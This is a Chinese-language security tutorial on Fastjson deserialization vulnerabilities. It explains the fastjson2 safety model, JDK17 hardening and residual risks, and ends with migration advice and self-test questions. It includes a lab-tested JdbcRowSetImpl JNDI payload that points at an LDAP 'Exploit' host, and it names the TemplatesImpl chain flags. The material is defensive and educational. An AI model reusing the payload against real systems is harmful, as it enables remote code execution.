引子:2026 年,Fastjson 漏洞还"活着"吗
先破除一个常见误解:有人会以为"漏洞都修到 1.2.83 了,Fastjson 的事是不是过时了?"。现实是:
新项目基本不再用 1.x,主流是 fastjson2 或 Jackson;
但存量系统里 1.x 铺得极广,很多内网、政企、工业系统还停在老版本,扫描器、护网、渗透中的 Fastjson 漏洞面至今活跃;
同时,
com.alibaba:fastjson:2.0.x这个"看起来是升级版"的坐标,其实是fastjson1-compatible 兼容桥接包,很多人没意识到它背后是 fastjson2、也没意识到依赖还要补全。
也就是说,Fastjson 漏洞的价值不在"新",而在"存量面大 + 设计模型值得学"。而且它代表的"JSON 多态反序列化"是一整类问题:Jackson 的enableDefaultTyping、XML 的 XStream/XMLDecoder、YAML 的 SnakeYAML 都出过同源漏洞。学会一个,等于掌握一类。
本篇讲清三件事:fastjson2 的安全模型为什么不同、现代 JDK 改变了什么、还有哪些残留风险。所有结论都在靶场用 fastjson2 2.0.65 实测过。
本篇要点:
为什么 fastjson2 默认解析
@type时只是返回一个普通JSONObject?打开
SupportAutoType为什么还不够?还缺什么?com.alibaba:fastjson:2.0.x与com.alibaba.fastjson2:fastjson2是什么关系?迁移要注意什么?现代 JDK 从 JNDI 与模块封装两个方向如何抬高门槛?为什么仍不是"根治"?
为什么说这是一类"多态反序列化"通病,而不是 Fastjson 独有?
一、先说清楚"现代"到底指什么
很多网上教程停在"1.2.24 一打一个准",容易对今天的现实产生误判。2026 年的真实情况是:
新项目基本不该再用
com.alibaba:fastjson:1.2.x,主流是fastjson2(com.alibaba.fastjson2:fastjson2)或 Jackson;存量系统里 1.x 仍大量存在,所以这些 CVE 至今仍在被扫描、利用——漏洞的价值不在"新",而在"存量面大";
现代 JDK(17/21)的强封装、JNDI 默认加固,让"照搬老 payload 就能打"的情况大幅减少,但误配置会重新打开。
二、fastjson2:换了安全模型
Fastjson2 是一次重写,官方明确:不再为了兼容 1.x 而保留 autoType 白名单。它的默认行为是:
解析 JSON 时,
@type不会被用来实例化任意类;即便显式打开
JSONReader.Feature.SupportAutoType,也还需要注册/采用白名单才真正允许自动类型;默认的 autoType handler 会拒绝。
Java 说明:
JSONReader.Feature.SupportAutoType:fastjson2 的一个特性枚举常量,作为参数传给解析方法,表示"允许 autoType"。JSON.parseObject(...)/JSON.parse(...):与 1.x 同名,但 fastjson2 中@type默认只当普通字段处理,不会据此实例化类。真正启用多态反序列化还需要显式注册允许的类型(白名单),这与 1.x"开关一开就全放行"有本质区别。
靶场实测(fastjson2 2.0.65)
用最小的 fastjson2 程序(tools/Fastjson2Test.java)解析同一个JdbcRowSetImplpayload:
/opt/jdk8/bin/java -cp "lib/fastjson2-2.0.65.jar:tools" Fastjson2Test \ # 用 fastjson2 运行对照程序(classpath:fastjson2 核心 + 已编译的 tools) '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}' # 待解析的 payload真实输出:
default parseObject -> {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"....","autoCommit":true} SupportAutoType -> {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"....","autoCommit":true} JSON.parse -> {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"....","autoCommit":true} JNDI 回调次数: 0| 调用方式 | 返回 | JNDI 回调 |
|---|---|---|
JSON.parseObject(payload)(默认) | 普通JSONObject(原样保留@type) | 0 |
JSON.parseObject(payload, SupportAutoType) | 普通JSONObject | 0 |
JSON.parse(payload) | 普通JSONObject | 0 |
读法:返回值是一个普通JSONObject(原样保留@type字段),根本没有实例化JdbcRowSetImpl,也没有任何 JNDI 回调。这说明:
fastjson2 默认把
@type当普通字段处理,而不是"要加载的类"。要让它真的多态反序列化,必须显式注册允许的类。
1.x 也想"平滑迁移"怎么办
阿里提供了com.alibaba:fastjson:2.0.x这个 artifact(注意 groupId 还是com.alibaba),它其实是"fastjson1-compatible 兼容层",内部转发到 fastjson2,可在不改坐标的前提下完成升级。使用时需要连同com.alibaba.fastjson2:fastjson2一起放入 classpath(兼容层是薄壳,不自带核心)。
靶场里尝试时若只放兼容层、不放fastjson2,会报NoClassDefFoundError——这说明:升级不是换个版本号,要确认依赖树完整。
三、JDK17 改变了什么
现代 JDK 从两个方向抬高了门槛,但都不是"根治":
1. JNDI 远程类加载默认关闭
上一篇已实测:trustURLCodebase默认false时,JNDI 远程加载被拦;显式开启后,JDK8 和 JDK17 都能重新被打:
JDK8 trustURLCodebase=默认 -> 被拦截 开启 -> 远程类加载+执行 JDK17 trustURLCodebase=默认 -> 被拦截 开启 -> 远程类加载+执行
所以"升级 JDK"是缓解,不是修复;只要业务/中间件为了兼容加了那个参数,风险就回来。
2. 强封装(JPMS)影响"反射改私有字段"的链
像TemplatesImpl这种需要 Fastjson 用反射去写私有字段的链,在 JDK17 上会撞上模块边界:
需要 Fastjson 开启
Feature.SupportNonPublicField;还需要 JVM 参数
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED之类,把对应包"开个口子"。
靶场里的start.sh在 JDK17 模式就带了这些--add-opens,否则TemplatesImpl链会因InaccessibleObjectException失败。真实系统中,除非运维特意加了这些参数,否则这类链在 JDK17 上更难走通。
一句话:JDK 升级 + 默认加固,让"老 payload 直接打"变难;但"误配置 + 依赖型 gadget"仍能打。安全的前提是别指望单一措施。
四、现代仍然存在的风险点
即便上了 fastjson2,以下情况依然危险,值得单独警惕:
显式打开 autoType 并配了宽松白名单:为了兼容老功能,有人会
SupportAutoType+ 注册大量包前缀。白名单一旦过宽(如com.、java.),等于没防。仍在使用 1.x 且开了 autoType:靶场矩阵显示,1.2.24 直接打、1.2.25~1.2.47 多种绕过;只要
autoTypeSupport=true,风险显著上升。同类问题的其他库:Jackson 的
enableDefaultTyping/@JsonTypeInfo也支持多态反序列化,历史上同样出过 RCE(Jackson 的 CVE 系列)。问题不是"Fastjson 特有",而是"JSON 多态反序列化"这一类设计。反序列化其他格式:Java 原生序列化、XML(XStream/XMLDecoder)、YAML(SnakeYAML)等,都可能被同类 gadget 打穿。学 Fastjson 的价值在于理解通用反序列化攻击模型。
五、迁移与加固建议
新项目:用 fastjson2 或 Jackson,并关闭多态/autoType;
老项目:
1.2.83+或 fastjson2 兼容层;无法升级则开safeMode;若必须用多态:用最小白名单(精确到类),不要用宽泛包前缀;
全链路:不信任任何输入里的类名,日志/告警里出现
@type+ 陌生类名就查。
六、自测
fastjson2 默认解析带
@type的 JSON 时,为什么会返回一个普通JSONObject而不是报错?SupportAutoType打开了,为什么靶场里还是没有触发?还缺什么?com.alibaba:fastjson:2.0.x和com.alibaba.fastjson2:fastjson2是什么关系?升级时要注意什么?为什么"升级 JDK"只能缓解不能根治?请分别从 JNDI 与反射封装两个角度回答。
为什么说 Fastjson 漏洞的本质是"JSON 多态反序列化"这一类问题,而不是某个库的孤立毛病?